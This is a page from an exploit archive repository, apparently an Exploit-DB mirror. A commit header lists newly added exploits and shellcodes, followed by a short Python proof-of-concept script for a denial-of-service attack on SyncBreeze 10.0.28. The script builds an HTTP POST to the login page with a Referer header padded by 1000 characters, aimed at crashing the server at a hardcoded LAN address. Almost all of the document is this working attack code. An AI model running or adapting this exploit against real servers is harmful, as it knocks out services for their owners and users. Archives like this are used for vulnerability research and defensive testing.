cb83a6e2dd
17 changes to exploits/shellcodes docPrint Pro 8.0 - 'Add URL' Buffer Overflow (SEH Egghunter) TestLink Open Source Test Management < 1.9.16 - Remote Code Execution (PoC) FRITZ!Box 7.20 - DNS Rebinding Protection Bypass SyncBreeze 10.0.28 - 'login' Denial of Service (Poc) Xeroneit Library Management System 3.1 - _Add Book Category _ Stored XSS Point of Sale System 1.0 - Authentication Bypass Alumni Management System 1.0 - Unrestricted File Upload To RCE Alumni Management System 1.0 - _Course Form_ Stored XSS Alumni Management System 1.0 - 'id' SQL Injection Wordpress Plugin Duplicator 1.3.26 - Unauthenticated Arbitrary File Read (Metasploit) Smart Hospital 3.1 - _Add Patient_ Stored XSS Linux/x86 - Bind (45295/TCP) Shell (/bin/sh) + fork() Shellcode (200 bytes) Linux/x86 - MMX-XOR Encoder / Decoder execve(/bin/sh) Shellcode (44 bytes)
33 lines
No EOL
1.2 KiB
Python
Executable file
33 lines
No EOL
1.2 KiB
Python
Executable file
# Exploit Title: SyncBreeze 10.0.28 - 'login' Denial of Service (Poc)
|
|
# Data: 18-Dec-2020
|
|
# Exploit Author: Ahmed Elkhressy
|
|
# Vendor Homepage: http://www.syncbreeze.com
|
|
# Software Link: http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe
|
|
# Version: 10.0.28
|
|
# Tested on: Windows 7, Windows 10
|
|
|
|
#!/usr/bin/python
|
|
import socket
|
|
|
|
host="192.168.1.9"
|
|
payload = 'A' *1000
|
|
request = ""
|
|
request += "POST /login HTTP/1.1\r\n"
|
|
request += "Host: "+host+"\r\n"
|
|
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\r\n"
|
|
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
|
|
request += "Accept-Language: en-US,en;q=0.5\r\n"
|
|
request += "Accept-Encoding: gzip, deflate\r\n"
|
|
request += "Content-Type: application/x-www-form-urlencoded\r\n"
|
|
request += "Content-Length: 27\r\n"
|
|
request += "Origin: http://"+host+"\r\n"
|
|
request += "Connection: keep-alive\r\n"
|
|
request += "Referer: http://"+host+"/login"+payload+"\r\n"
|
|
request += "Upgrade-Insecure-Requests: 1\r\n"
|
|
request += "\r\n"
|
|
request += "username=test&password=test"
|
|
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s.connect((host, 80))
|
|
s.send(request)
|
|
print s.recv(1024)
|
|
s.close |